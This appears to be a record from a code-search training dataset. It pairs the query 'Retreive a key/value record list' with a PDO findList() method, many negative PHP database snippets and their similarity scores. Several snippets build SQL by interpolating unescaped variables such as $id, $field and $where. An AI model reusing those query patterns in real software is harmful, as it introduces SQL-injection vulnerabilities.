"function getData($id,$field='ben_id')\n\t{\n\t\t$sql=\"select \n\t\t `ben_id` `id`, `ben_name` `name`, `ben_detail` `detail`, `ben_modified` `modified`, `ben_created` `created`, `ben_status` `status`, `ben_howto` `howto`,ben_pos pos\n\t\tfrom {$this->table} where {$field}='$id'\";\n\t\tif($field=='ben_id'){\n\t\t\t$data=dbFetchOne($sql);\n\t\t}else{ \n\t\t\t$result=dbQuery($sql,1);\n\t\t\t$data=array();\n\t\t\t$i=0;\n\t\t\tforeach ($result->result_array() as $row){\n\t\t\t\t$data[]=$row;\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}",
"public function fetchField(){\n $this->debugBacktrace();\n $this->fetchType = \"fetch_field\";\n return $this;\n }",
"public function values($field)\n {\n if ($this->multiMode) {\n return $this->load()->values($field);\n }\n if ($this->data === null) {\n $this->load();\n }\n\n return ($v = $this[$field]) !== null ? [$v] : [];\n }",
"public function fetchOneFieldAll($sql, $fld)\n {\n $res = $this->query($sql);\n for($out = array(); $row = $res->fetch_array($this->fetch_mode); $out[] = $row[$fld]);\n return $out;\n }",
"function getRecordFields($recordFields)\n{\n\tforeach($recordFields as $field)\n\t{\n\t\t$varName = $field[0];\n\t\t$varValue = $field[2];\n\t\t$$varName = $varValue;\n\t}\n\t// what to return?\n}",
"abstract public function getFields(): array;"
]
| [
"0.68103033",
"0.68103033",
"0.67494094",
"0.6726163",
"0.6726163",
"0.6575548",
"0.656647",
"0.656647",
"0.6536572",
"0.6472238",
"0.6472238",
"0.6455271",
"0.64511466",
"0.64269745",
"0.64215267",
"0.6381403",
"0.6360706",
"0.635987",
"0.6321671",
"0.6318322",
"0.63093764",
"0.6299205",
"0.6287494",
"0.6268364",
"0.62678814",
"0.6251768",
"0.62511533",
"0.62326145",
"0.6219191",
"0.6218861",
"0.6208762",
"0.6155041",
"0.61285764",
"0.61229885",
"0.6111054",
"0.61017245",
"0.6084733",
"0.6084733",
"0.6084733",
"0.6084733",
"0.6084733",
"0.6084733",
"0.6063319",
"0.605731",
"0.6028642",
"0.6028642",
"0.599702",
"0.599702",
"0.599702",
"0.5994965",
"0.5994746",
"0.59728324",
"0.5971606",
"0.59379154",
"0.59312445",
"0.59280646",
"0.59280646",
"0.59280646",
"0.59225",
"0.59203225",
"0.5909541",
"0.5909541",
"0.5909541",
"0.59072685",
"0.58994853",
"0.58958894",
"0.5883983",
"0.5873863",
"0.5873863",
"0.58734953",
"0.58715016",
"0.5860184",
"0.585808",
"0.5856717",
"0.585087",
"0.58449346",
"0.58440304",
"0.58369505",
"0.58198637",
"0.58174384",
"0.5815696",
"0.58143735",
"0.5810265",
"0.5810225",
"0.580335",
"0.580176",
"0.57943726",
"0.5781537",
"0.5779419",
"0.5774426",
"0.5760692",
"0.57551175",
"0.5731803",
"0.5723231",
"0.5720306",
"0.57196784",
"0.5713469",
"0.5711478",
"0.57073885",
"0.57016855",
"0.56956404"
]
| 0.0 | -1 |
Retreive a key/value record list | public function findList(): array
{
$results = $this->pdo
->query("SELECT id, name FROM $this->table")
->fetchAll(\PDO::FETCH_NUM);
$list = [];
foreach ($results as $result) {
$list[$result[0]] = $result[1];
}
return $list;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function GetAll()\n {\n return $this->_keyValPairs;\n }",
"private function get_recs() {\n\tglobal $_DB;\n\n\t$sql = \"SELECT e00.name, e00.property_id AS name_id,\n\t\t\t\te02.name AS value, e02.prop_value_id AS value_id\n\t\t\tFROM (\n\t\t\t\tSELECT property_id, name FROM \".$_DB->prefix.\"e00_property\n\t\t\t\tWHERE organization_idref = \".$_SESSION[\"organization_id\"].\"\n\t\t\t) AS e00\n\t\t\tJOIN \".$_DB->prefix.\"e02_prop_value AS e02 ON e02.property_idref = e00.property_id\n\t\t\tORDER BY name, value;\";\n\t$stmt = $_DB->query($sql);\n\t$this->records = array();\n\twhile ($row = $stmt->fetchObject()) {\n\t\t$record = array(\n\t\t\t\t\"name\" =>\t\t$row->name,\n\t\t\t\t\"name_id\" =>\t$row->name_id,\n\t\t\t\t\"value\" =>\t\t$row->value,\n\t\t\t\t\"value_id\" =>\t$row->value_id,\n\t\t);\n\t\t$this->records[] = $record;\n\t}\n\t$stmt->closeCursor();\n}",
"function getKeys() { \n\tglobal $mysqli;\n\t$sql = \"select keyName from keyValue\";\n\t$res = $mysqli->query($sql);\n\tif (!$res) {\n\t\t//if there was an error, log it and then return null.\n\t\terror_log(\"Error on getKeys select \" . $mysqli->error);\n\t\treturn null;\n\t}\n\n\t$keys = array();\n\twhile( $row = mysqli_fetch_assoc($res)) {\n\t\tarray_push($keys,$row['keyName']);\n\t}\n\treturn $keys;\n}",
"function kval_sqlite_get_item($key)\n{\n $sql = 'SELECT * FROM kv WHERE kv_key = ?';\n $return = kval_sqlite_query($sql, $key)->fetch();\n if (!$return) {\n return null;\n }\n return array(\n 'item' => unserialize($return['kv_value']),\n 'ts' => (int) $return['kv_ts'],\n );\n}",
"public function getValuesList(){\n return $this->_get(1);\n }",
"public function getRecordKeys()\n\t{\n\t\t$arKeys = [];\n\t\t$arKey = [];\n\t\tif (Param(\"key_m\") !== NULL) {\n\t\t\t$arKeys = Param(\"key_m\");\n\t\t\t$cnt = count($arKeys);\n\t\t} else {\n\t\t\tif (Param(\"IncomeCode\") !== NULL)\n\t\t\t\t$arKeys[] = Param(\"IncomeCode\");\n\t\t\telseif (IsApi() && Key(0) !== NULL)\n\t\t\t\t$arKeys[] = Key(0);\n\t\t\telseif (IsApi() && Route(2) !== NULL)\n\t\t\t\t$arKeys[] = Route(2);\n\t\t\telse\n\t\t\t\t$arKeys = NULL; // Do not setup\n\n\t\t\t//return $arKeys; // Do not return yet, so the values will also be checked by the following code\n\t\t}\n\n\t\t// Check keys\n\t\t$ar = [];\n\t\tif (is_array($arKeys)) {\n\t\t\tforeach ($arKeys as $key) {\n\t\t\t\tif (!is_numeric($key))\n\t\t\t\t\tcontinue;\n\t\t\t\t$ar[] = $key;\n\t\t\t}\n\t\t}\n\t\treturn $ar;\n\t}",
"public function getRecordKeys()\n\t{\n\t\t$arKeys = [];\n\t\t$arKey = [];\n\t\tif (Param(\"key_m\") !== NULL) {\n\t\t\t$arKeys = Param(\"key_m\");\n\t\t\t$cnt = count($arKeys);\n\t\t} else {\n\t\t\tif (Param(\"id\") !== NULL)\n\t\t\t\t$arKeys[] = Param(\"id\");\n\t\t\telseif (IsApi() && Key(0) !== NULL)\n\t\t\t\t$arKeys[] = Key(0);\n\t\t\telseif (IsApi() && Route(2) !== NULL)\n\t\t\t\t$arKeys[] = Route(2);\n\t\t\telse\n\t\t\t\t$arKeys = NULL; // Do not setup\n\n\t\t\t//return $arKeys; // Do not return yet, so the values will also be checked by the following code\n\t\t}\n\n\t\t// Check keys\n\t\t$ar = [];\n\t\tif (is_array($arKeys)) {\n\t\t\tforeach ($arKeys as $key) {\n\t\t\t\tif (!is_numeric($key))\n\t\t\t\t\tcontinue;\n\t\t\t\t$ar[] = $key;\n\t\t\t}\n\t\t}\n\t\treturn $ar;\n\t}",
"function fGetListValues(&$db, $sql, $pTip=1 )\n{\n $values = false;\n $db->query($sql);\n if ($db->next_record())\n {\n $alMeta=$db->metadata();\n $j=$db->num_fields();\n $ilRow=0;\n do\n {\n for ($i=0; $i<$j; $i++){\n $slCampo=$alMeta[$i]['name'];\n if($pTip==2) $key=$db->Record[0];\n else $key=$i;\n $values[$key][$slCampo] = $db->f($slCampo);\n }\n } while ($db->next_record());\n }\n// print_r($values);\n// die();\n return $values;\n}",
"public function select_list($key = '_id',$val = NULL)\n {\n if($val === NULL)\n {\n $val = $key;\n $key = NULL;\n }\n\n $list = array();\n\n foreach($this->cursor() as $data)\n {\n if($key !== NULL)\n {\n $list[(string) $data[$key]] = (isset($data[$val]) ? $data[$val] : NULL);\n }\n else if(isset($data[$val]))\n {\n $list[] = $data[$val];\n }\n }\n\n return $list;\n }",
"function get_list( $query = null, $key = null, $value = null ){\r\n\t\tif( $key && $value )\r\n\t\t\twhile( $row = mysql_fetch_assoc( $this->query($query) ) )\r\n\t\t\t\t$rows[ $row[$key] ] = $row[$value];\r\n\t\t\r\n\t\telseif( $key )\r\n\t\t\twhile( $row = mysql_fetch_assoc( $this->query($query) ) )\r\n\t\t\t\t$rows[ $row[$key] ] = $row;\r\n\t\t\r\n\t\telse\r\n\t\t\twhile( $row = mysql_fetch_assoc( $this->query( $query ) ) )\r\n\t\t\t\t$rows[ ] = $row;\r\n\t\t\r\n\t\treturn isset($rows)?$rows:null;\r\n\t}",
"function GetRecordKeys() {\n\t\tglobal $EW_COMPOSITE_KEY_SEPARATOR;\n\t\t$arKeys = array();\n\t\t$arKey = array();\n\t\tif (isset($_POST[\"key_m\"])) {\n\t\t\t$arKeys = $_POST[\"key_m\"];\n\t\t\t$cnt = count($arKeys);\n\t\t} elseif (isset($_GET[\"key_m\"])) {\n\t\t\t$arKeys = $_GET[\"key_m\"];\n\t\t\t$cnt = count($arKeys);\n\t\t} elseif (!empty($_GET) || !empty($_POST)) {\n\t\t\t$isPost = ew_IsPost();\n\t\t\tif ($isPost && isset($_POST[\"rid\"]))\n\t\t\t\t$arKeys[] = $_POST[\"rid\"];\n\t\t\telseif (isset($_GET[\"rid\"]))\n\t\t\t\t$arKeys[] = $_GET[\"rid\"];\n\t\t\telse\n\t\t\t\t$arKeys = NULL; // Do not setup\n\n\t\t\t//return $arKeys; // Do not return yet, so the values will also be checked by the following code\n\t\t}\n\n\t\t// Check keys\n\t\t$ar = array();\n\t\tif (is_array($arKeys)) {\n\t\t\tforeach ($arKeys as $key) {\n\t\t\t\tif (!is_numeric($key))\n\t\t\t\t\tcontinue;\n\t\t\t\t$ar[] = $key;\n\t\t\t}\n\t\t}\n\t\treturn $ar;\n\t}",
"function GetRecordKeys() {\n\t\tglobal $EW_COMPOSITE_KEY_SEPARATOR;\n\t\t$arKeys = array();\n\t\t$arKey = array();\n\t\tif (isset($_POST[\"key_m\"])) {\n\t\t\t$arKeys = ew_StripSlashes($_POST[\"key_m\"]);\n\t\t\t$cnt = count($arKeys);\n\t\t} elseif (isset($_GET[\"key_m\"])) {\n\t\t\t$arKeys = ew_StripSlashes($_GET[\"key_m\"]);\n\t\t\t$cnt = count($arKeys);\n\t\t} elseif (!empty($_GET) || !empty($_POST)) {\n\t\t\t$isPost = ew_IsHttpPost();\n\t\t\tif ($isPost && isset($_POST[\"gjd_id\"]))\n\t\t\t\t$arKeys[] = ew_StripSlashes($_POST[\"gjd_id\"]);\n\t\t\telseif (isset($_GET[\"gjd_id\"]))\n\t\t\t\t$arKeys[] = ew_StripSlashes($_GET[\"gjd_id\"]);\n\t\t\telse\n\t\t\t\t$arKeys = NULL; // Do not setup\n\n\t\t\t//return $arKeys; // Do not return yet, so the values will also be checked by the following code\n\t\t}\n\n\t\t// Check keys\n\t\t$ar = array();\n\t\tif (is_array($arKeys)) {\n\t\t\tforeach ($arKeys as $key) {\n\t\t\t\tif (!is_numeric($key))\n\t\t\t\t\tcontinue;\n\t\t\t\t$ar[] = $key;\n\t\t\t}\n\t\t}\n\t\treturn $ar;\n\t}",
"function GetRecordKeys() {\n\t\tglobal $EW_COMPOSITE_KEY_SEPARATOR;\n\t\t$arKeys = array();\n\t\t$arKey = array();\n\t\tif (isset($_POST[\"key_m\"])) {\n\t\t\t$arKeys = ew_StripSlashes($_POST[\"key_m\"]);\n\t\t\t$cnt = count($arKeys);\n\t\t} elseif (isset($_GET[\"key_m\"])) {\n\t\t\t$arKeys = ew_StripSlashes($_GET[\"key_m\"]);\n\t\t\t$cnt = count($arKeys);\n\t\t} elseif (!empty($_GET) || !empty($_POST)) {\n\t\t\t$isPost = ew_IsHttpPost();\n\t\t\tif ($isPost && isset($_POST[\"IDXDAFTAR\"]))\n\t\t\t\t$arKeys[] = ew_StripSlashes($_POST[\"IDXDAFTAR\"]);\n\t\t\telseif (isset($_GET[\"IDXDAFTAR\"]))\n\t\t\t\t$arKeys[] = ew_StripSlashes($_GET[\"IDXDAFTAR\"]);\n\t\t\telse\n\t\t\t\t$arKeys = NULL; // Do not setup\n\n\t\t\t//return $arKeys; // Do not return yet, so the values will also be checked by the following code\n\t\t}\n\n\t\t// Check keys\n\t\t$ar = array();\n\t\tif (is_array($arKeys)) {\n\t\t\tforeach ($arKeys as $key) {\n\t\t\t\tif (!is_numeric($key))\n\t\t\t\t\tcontinue;\n\t\t\t\t$ar[] = $key;\n\t\t\t}\n\t\t}\n\t\treturn $ar;\n\t}",
"function getList($fieldName='', $searchValue='', $orderByField='', $orderByValue='', $offset ='', $limit ='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordList($this->table, $fieldName, $searchValue, $orderByField, $orderByValue, $offset, $limit);\r\n\t\t\treturn $sqlRecord;\r\n\t\t\r\n\t\t}",
"function getList($fieldName='', $searchValue='', $orderByField='', $orderByValue='', $offset ='', $limit ='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordList($this->table, $fieldName, $searchValue, $orderByField, $orderByValue, $offset, $limit);\r\n\t\t\treturn $sqlRecord;\r\n\t\t\r\n\t\t}",
"public function liste($key, $value) {\n $records = $this->all();\n foreach($records as $v) {\n $return[$v->$key] = $v->$value;\n }\n\n return $return;\n }",
"function getList($fieldName='', $searchValue='', $searchStatus='', $orderByField='', $orderByValue='', $offset ='', $limit ='')\r\n\t\t{\r\n\t\t\t$sqlRecord = $this->getTableRecordList($this->table, $fieldName, $searchValue, $searchStatus, $orderByField, $orderByValue, $offset, $limit);\r\n\t\t\treturn $sqlRecord;\r\n\t\t\r\n\t\t}",
"public function getKeys();",
"function KeyNameList ( ) { return $this->_KeyNameList; }",
"public function getScoreRecordListList(){\n return $this->_get(2);\n }",
"function getList()\n {\n global $db;\n $sql = \" select * from \".$this->table.\" \"; \n $db->SetFetchMode(ADODB_FETCH_ASSOC);\n\t\t$info = $db->execute($sql);\n \t\t$item = $info->GetRows();\t\n\t\treturn $item;\n }",
"abstract public function getKeys();",
"public function GetList()\n {\n $key1 = [\n 'items' => [\n '0' => [\n 'attribute_id',\n 'attribute_code',\n 'attribute_label',\n 'attribute_label',\n 'swatches',\n ]\n ]\n ];\n $key2 = [\n 'items' => [\n '0' => [\n 'swatches' => [\n '49' => [\n 'swatch_id',\n 'option_id',\n 'store_id',\n 'type',\n 'value',\n ]\n ],\n ]\n ]\n ];\n return [\n 'key1' => $key1,\n 'key2' => $key2,\n ];\n }",
"public function getKeys() {}",
"public function getEntriesList(){\n return $this->_get(2);\n }",
"public function getValuesList() {\n return $this->_get(2);\n }",
"public function getRecords()\n\t{\n\t\treturn $this->records['data'];\n\t}",
"public function valueKeys(): array;",
"public function getByList() {\n return $this->_get(4);\n }",
"static function getKeys();",
"public function get()\n {\n return $this->connection->smembers($this->key);\n }",
"public function retrieveKeys()\n {\n return $this->start()->uri(\"/api/key\")\n ->get()\n ->go();\n }",
"function getAdvSearchList()\r\n {\r\n $log = FezLog::get();\r\n $db = DB_API::get();\r\n\r\n $stmt = \"SELECT\r\n *\r\n FROM\r\n \" . APP_TABLE_PREFIX . \"search_key\r\n\t\t\t\t WHERE sek_adv_visible = TRUE\r\n ORDER BY\r\n sek_order ASC\";\r\n try {\r\n $res = $db->fetchAll($stmt, array(), Zend_Db::FETCH_ASSOC);\r\n }\r\n catch (Exception $ex) {\r\n $log->err($ex);\r\n return '';\r\n }\r\n\r\n if (empty($res)) {\r\n return array();\r\n } else {\r\n for ($i = 0; $i < count($res); $i++) {\r\n $res[$i][\"field_options\"] = Search_Key::getOptions($res[$i][\"sek_smarty_variable\"]);\r\n }\r\n return $res;\r\n }\r\n }",
"function getKeys(){\n\t\ttry{\n\t\t\t$db = getConnection();\n\n\t\t\t$sql = \"SELECT * FROM network_keys WHERE name = ?\";\n\t\t\t$stmt = $db->prepare($sql);\n\t\t\t$stmt->execute(array(\"llsec\"));\n\t\t\t$llsec = $stmt->fetch()['network_key'];\n\n\t\t\t$sql = \"SELECT * FROM network_keys WHERE name = ?\";\n\t\t\t$stmt = $db->prepare($sql);\n\t\t\t$stmt->execute(array(\"dtls\"));\n\t\t\t$dtls = $stmt->fetch()['network_key'];\n\t\t}\n\t\tcatch(PDOException $e){\n\t\t echo $e->getMessage();\n\t }\n\t return array($llsec, $dtls);\n\t}",
"public function getRecords(){\n // Get the sql statement\n $sql = $this->getSql($this->filters);\n // Prepare the query\n $stmt = $this->db->query($sql);\n // Fetch values from PDO array\n return $stmt->fetchAll(\\PDO::FETCH_ASSOC);\n }",
"public function getRecord();",
"public function getValues();",
"function loadObjectList( $key='' ) {\n\t\tif (!($cur = $this->query())) {\n\t\t\treturn null;\n\t\t}\n\t\t$array = array();\n\t\twhile ($row = mysql_fetch_object( $cur )) {\n\t\t\tif ($key) {\n\t\t\t\t$array[$row->$key] = $row;\n\t\t\t} else {\n\t\t\t\t$array[] = $row;\n\t\t\t}\n\t\t}\n\t\tmysql_free_result( $cur );\n\t\treturn $array;\n\t}",
"function getRecord( $sql ) {\r\n\t\t\t$result = $this->_connectAndExec( $sql );\r\n\t\t\tocifetchinto( $result, $record, OCI_ASSOC );\r\n\t\t\tOCIFreeStatement( $result );\r\n\t\t\treturn $this->_lowerKeyNames( $record );\r\n\t\t}",
"public function get_all()\n {\n $sql = <<<SQL\n SELECT \n pigeon_keys.id as keys_id, pigeon_keys.users_id, profiles.first_name, profiles.last_name, users.username, pigeon_keys.key, pigeon_keys.level, pigeon_keys.date_created\n FROM \n profiles , users, {$this->rest_keys_table} pigeon_keys\n WHERE\n pigeon_keys.users_id = users.id\n AND\n profiles.user_id = users.id\nSQL;\n\n return $this->db->query($sql)->result_array();\n\n }",
"public function records() { return $this->_m_records; }",
"public function getList()\n {\n\n $apikey = $this->params()->fromHeader('apikey', null);\n\n $query = SampleQuery::create();\n $aaa = $query->find()->toArray();\n\n\n// $apikey->getFieldValue();\n\n return new JsonModel(\n $aaa\n );\n }",
"public static function getValues() {\n\t\t$roleModel = new self ( );\n\t\t$select = $roleModel->select ();\n\t\t$arr=array();\n\t\t$rows= $roleModel->fetchAll ( $select );\n\t\tforeach ($rows as $row) {\n\t\t$arr[$row->name]=$row->detail;\n\t\t}\n\t\treturn $arr;\n\t}",
"function loadAssocList( $key='' ) {\n\t\tif (!($cur = $this->query())) {\n\t\t\treturn null;\n\t\t}\n\t\t$array = array();\n\t\twhile ($row = mysql_fetch_assoc( $cur )) {\n\t\t\tif ($key) {\n\t\t\t\t$array[$row->$key] = $row;\n\t\t\t} else {\n\t\t\t\t$array[] = $row;\n\t\t\t}\n\t\t}\n\t\tmysql_free_result( $cur );\n\t\treturn $array;\n\t}",
"function getRecords() {\n\t\treturn $this->records;\n\t}",
"function getSimpleList()\r\n {\r\n $log = FezLog::get();\r\n $db = DB_API::get();\r\n\r\n $stmt = \"SELECT\r\n sek_id\r\n FROM\r\n \" . APP_TABLE_PREFIX . \"search_key\r\n\t\t\t\t WHERE\r\n\t\t\t\t sek_simple_used = TRUE\";\r\n try {\r\n $res = $db->fetchAll($stmt, array(), Zend_Db::FETCH_ASSOC);\r\n }\r\n catch (Exception $ex) {\r\n $log->err($ex);\r\n return '';\r\n }\r\n if (empty($res)) {\r\n return array();\r\n } else {\r\n return $res;\r\n }\r\n }",
"public function getDataList(){\n return $this->_get(1);\n }",
"public function fetchPairs(string $key = null, string $value = null): array;",
"public static function getDataList () { return self::getList('data'); }",
"public function getValuesList() {\n return $this->_get(3);\n }",
"public function getList() {\n \treturn array(\"id\" => $this->id,\n \"name\" => $this->name);\n\t}",
"function getAssocList()\r\n {\r\n $log = FezLog::get();\r\n $db = DB_API::get();\r\n\r\n $stmt = \"SELECT\r\n sek_id,\r\n\t\t\t\t\tIF(sek_alt_title <> '', sek_alt_title, sek_title)\r\n FROM\r\n \" . APP_TABLE_PREFIX . \"search_key\r\n ORDER BY\r\n sek_title ASC\";\r\n try {\r\n $res = $db->fetchPairs($stmt);\r\n }\r\n catch (Exception $ex) {\r\n $log->err($ex);\r\n return '';\r\n }\r\n return $res;\r\n }",
"public function getFieldsList(){\n return $this->_get(1);\n }",
"public static function find_all(){\n $result = array();\n static::setConnection();\n $keyColumn = static::$keyColumn;\n $table = static::$table;\n $sql = \"SELECT * FROM \".$table.\" ORDER BY \".$keyColumn.\" DESC\";\n $res = mysqli_query(static::$conn,$sql);\n while($row = mysqli_fetch_object($res,get_called_class())){\n $result[] = $row;\n }\n return $result;\n }",
"public function get_records(){\n\t\t$records = array();\n\t\t$this->do_db();\n\t\t$tmps\t = $this->last_result;\n\t\t$db\t\t = $this->db;\n\t\twhile($record\t = $db->fetch_array($tmps)){\n\t\t\t$records[] = $record;\n\t\t}\n\t\treturn $records;\n\t}",
"function getQuickSearchList()\r\n {\r\n $log = FezLog::get();\r\n $db = DB_API::get();\r\n\r\n $stmt = \"SELECT\r\n *\r\n FROM\r\n \" . APP_TABLE_PREFIX . \"search_key\r\n\t\t\t\t WHERE sek_simple_used = TRUE\r\n ORDER BY\r\n sek_order ASC\";\r\n try {\r\n $res = $db->fetchAll($stmt, array(), Zend_Db::FETCH_ASSOC);\r\n }\r\n catch (Exception $ex) {\r\n $log->err($ex);\r\n return '';\r\n }\r\n\r\n if (empty($res)) {\r\n return array();\r\n } else {\r\n\r\n for ($i = 0; $i < count($res); $i++) {\r\n $res[$i][\"field_options\"] = Search_Key::getOptions($res[$i][\"sek_smarty_variable\"]);\r\n if ($res[$i][\"sek_html_input\"] == \"contvocab\") {\r\n $cvo_list = Controlled_Vocab::getAssocListFullDisplay(false, \"\", 0, 2);\r\n $res[$i]['field_options'][0] = $cvo_list['data'][$res[$i]['sek_cvo_id']];\r\n $res[$i]['cv_titles'][0] = $cvo_list['title'][$res[$i]['sek_cvo_id']];\r\n $res[$i]['cv_ids'][0] = $res[$i]['sek_cvo_id'];\r\n }\r\n }\r\n return $res;\r\n }\r\n }",
"public function getRecords()\n {\n return $this->records;\n }",
"public function getRecords()\n {\n return $this->records;\n }",
"protected function getListByKey()\n\t{\n\t\tif($this->listKey == \"\")\n\t\t\treturn $this->info;\n\n\t\tif (is_null($this->listKey) ||\n\t\t\t! isset($this->info[$this->listKey])\n\t\t)\n\t\t{\n\t\t\tthrow new ListKeyNotSetException('The listKey is not found in the abstract list DTO');\n\t\t}\n\n\t\treturn $this->info[$this->listKey];\n\t}",
"function getAllRecordCon($consul){\n\t \t$result = array();\n\t\t$this->db->select('*');\n\t\t$this->db->from('be_users');\n\t\t$this->db->where_in('id',$consul);\n\t\t$array_keys_values = $this->db->get();\n foreach ($array_keys_values->result() as $row)\n {\n $result[$row->id]= $row->username;\n }\n \n return $result;\n\t}",
"public function getListValues(string $listFieldName): array;",
"public function getKeysAndValues() {\n return array(\n array('key', 'key', 'value'),\n array('KEY', 'key', 'value'),\n array('Some_key', 'some-key', 'value'),\n array('SOME-KEY', 'some-key', 'value'),\n );\n }",
"public function getList();",
"public function getList();",
"function data_fetch_kv($tablename, $key, $val) {\r\n\t$rows = array();\r\n\tif ($res = sql_query(\"SELECT * FROM \". $tablename)) {\r\n\t\twhile ($row = mysql_fetch_assoc($res)) {\r\n\t\t\t$rows[$row[$key]] = $row[$val];\r\n\t\t}\r\n\t}\r\n\treturn $rows;\r\n}",
"function getAllDataValues() {\n\t\t$conn = Doctrine_Manager::connection(); \n\t\t$resultvalues = $conn->fetchAll(\"SELECT * FROM lookuptypevalue WHERE lookuptypeid = '\".$this->getID().\"' order by lookupvaluedescription asc \");\n\t\treturn $resultvalues;\t\n\t}",
"public function getListFields();",
"public function getKeyValuePair() : array \n { \n return [\n $this->key => $this->value\n ];\n }",
"public function getValues() {}",
"public function getValues() {}",
"public function records() : array {\n return $this->records;\n }",
"public function lists($key, $value = null)\n {\n $result = $this->fetchAll('array');\n $lists = array();\n\n if (!empty ($result)) {\n foreach ($result as $data) {\n $lists[$data[$key]] = ($value === null) ? $data : $data[$value];\n }\n }\n\n return $lists;\n }",
"public function fetchList();",
"function db_GetFieldValues()\n{\n // Inputs: $db_table, $key, [where]\n\n $numargs = func_num_args();\n $db_table = func_get_arg(0);\n $key = func_get_arg(1);\n $where = ($numargs > 2)? ' WHERE '.func_get_arg(2) : '';\n\n $RESULT = array();\n\n if (empty($key)) {\n return $RESULT;\n }\n\n $query = \"SELECT $key FROM `$db_table`$where GROUP BY $key ORDER BY $key\";\n SetDbQuery('db_GetFieldValues',$query);\n\n $db_query = mysql_query($query);\n\n if (!$db_query) {\n return $RESULT;\n }\n\n while ($row = mysql_fetch_assoc($db_query)) {\n foreach ($row as $key => $value) {\n $RESULT[] = $value;\n }\n }\n\n return $RESULT;\n}",
"function field_data()\r\n\t{\r\n\t\t$retval = array();\r\n /*\r\n echo \"<pre>\";\r\n var_dump($this->result_id);\r\n var_dump($this->pdo_results);\r\n echo \"</pre>\";\r\n */\r\n $table_info = $this->pdo_results;\r\n assert(is_array($table_info));\r\n foreach ($table_info as $row_info) {\r\n $F = new stdClass();\r\n $F->name = $row_info['name'];\r\n $F->type = $row_info['type'];\r\n $F->default = $row_info['dflt_value'];\r\n $F->max_length = 0;\r\n $F->primary_key = $row_info['pk'];\r\n \r\n $retval[] = $F;\r\n }\r\n\r\n return $retval;\r\n }",
"function enum_list() {\r\n /* by default, if available, expects enum_keyval to be filled with array('field1','field2')\r\n new: if enum_keyval second member is comma delimited, assume to show them as multiple columns\r\n */\r\n if ($this->enum_keyval) {\r\n $enumlist = array();\r\n foreach ($this->get_rows('', $this->enum_keyval[0].','.$this->enum_keyval[1],'row') as $row) {\r\n $enumlist[$row[0]] = join(' | ',array_slice($row,1));\r\n }\r\n return $enumlist;\r\n }\r\n }",
"public function getQueryRecords()\n {\n return $this->get(self::_QUERY_RECORDS);\n }",
"public function fetchFields();",
"function getRecords( $sql ) {\r\n\t\t\t$result = $this->_connectAndExec( $sql );\r\n\t\t\t$dataset = array();\r\n\t\t\twhile ( ocifetchinto( $result, $line, OCI_ASSOC ) ) {\r\n\t\t\t\tarray_push( $dataset, $this->_lowerKeyNames( $line ) );\r\n\t\t\t}\r\n\t\t\tOCIFreeStatement( $result );\r\n\t\t\treturn $dataset;\r\n\t\t}",
"protected function getWithKeyValue($sql,$key,$value){\n $adapter = $this->createAdapter();\n $sql = $sql.\" where \".$key.\" =:1 \";\n $statement=$adapter->prepare($sql);\n $statement->bindParam(\":1\",$value);\n $statement->execute();\n $toReturn = array();\n\t\t\twhile\t($row\t=\t$statement->fetch())\t{\n\t\t\t\t\tarray_push($toReturn,$row);\t\t \n }\n return $toReturn;\n $adapter = null;\n }",
"public function lists($value = null, $key = null, array $options = []) {\n $repo = $this->getRepository();\n $key = $key ?: $repo->getPrimaryKey();\n $value = $value ?: $repo->getDisplayField();\n\n $options['key'] = $key;\n $options['value'] = $value;\n\n return $this->fields([$key, $value], true)->find('list', $options);\n }",
"public function getAllSourcesAsKeyVal() {\n return $this->database->table(\"source\")->fetchPairs(\"id\",\"name\");\n }",
"private function getAllKeys() {\n\n\t\t$keys = array();\n\n\t\t// Open file\n\t\t$fp = $this->openFile($this->data['file'], self::FILE_READ);\n\n\t\t// Loop through each line of file\n\t\twhile (($line = fgets($fp)) !== false) {\n\n\t\t\t// Split up seperator\n\t\t\t$pieces = explode(\"=\", $line);\n\n\t\t\t// Add key to array\n\t\t\t$keys[] = $pieces[0];\n\t\t}\n\n\t\t// Close file\n\t\t$this->closeFile($fp);\n\n\t\treturn $keys;\n\t}",
"public static function getValues($fieldName)\n\t{\n\t\tif (\\App\\Cache::has('Picklist::getValues', $fieldName)) {\n\t\t\treturn \\App\\Cache::get('Picklist::getValues', $fieldName);\n\t\t}\n\t\t$primaryKey = static::getPickListId($fieldName);\n\t\t$dataReader = (new \\App\\Db\\Query())\n\t\t\t->from(\"vtiger_$fieldName\")\n\t\t\t->orderBy('sortorderid')\n\t\t\t->createCommand()->query();\n\t\t$values = [];\n\t\twhile ($row = $dataReader->read()) {\n\t\t\t$row['picklistValue'] = \\App\\Purifier::decodeHtml(\\App\\Purifier::decodeHtml($row[$fieldName]));\n\t\t\t$row['picklistValueId'] = $row[static::getPickListId($fieldName)];\n\t\t\t$values[$row[$primaryKey]] = $row;\n\t\t}\n\t\t\\App\\Cache::save('Picklist::getValues', $fieldName, $values);\n\t\treturn $values;\n\t}",
"public function listByKeyAll($table, $value, $key = 'id', $add = '')\n {\n $table = $this->escapeTableName($table);\n $key = $this->escapeFieldName($key);\n $value = $this->escapeFieldValue($value);\n $sql = \"SELECT * FROM {$table} WHERE {$key} = {$value} {$add}\";\n return $this->fetchAll($sql);\n }",
"function loadRowList( $key='' ) {\n\t\tif (!($cur = $this->query())) {\n\t\t\treturn null;\n\t\t}\n\t\t$array = array();\n\t\twhile ($row = mysql_fetch_array( $cur )) {\n\t\t\tif ($key) {\n\t\t\t\t$array[$row[$key]] = $row;\n\t\t\t} else {\n\t\t\t\t$array[] = $row;\n\t\t\t}\n\t\t}\n\t\tmysql_free_result( $cur );\n\t\treturn $array;\n\t}",
"public function getMultiple($key)\n {\n return $this->doFetch($key);\n }",
"public function getAllRecords();",
"public function getAllItems(){\n\n\t\treturn $this->redis_client->keys(\"*\");\n\t}",
"public function getList()\r\n\t{\r\n\t\treturn $this->data;\r\n\t}",
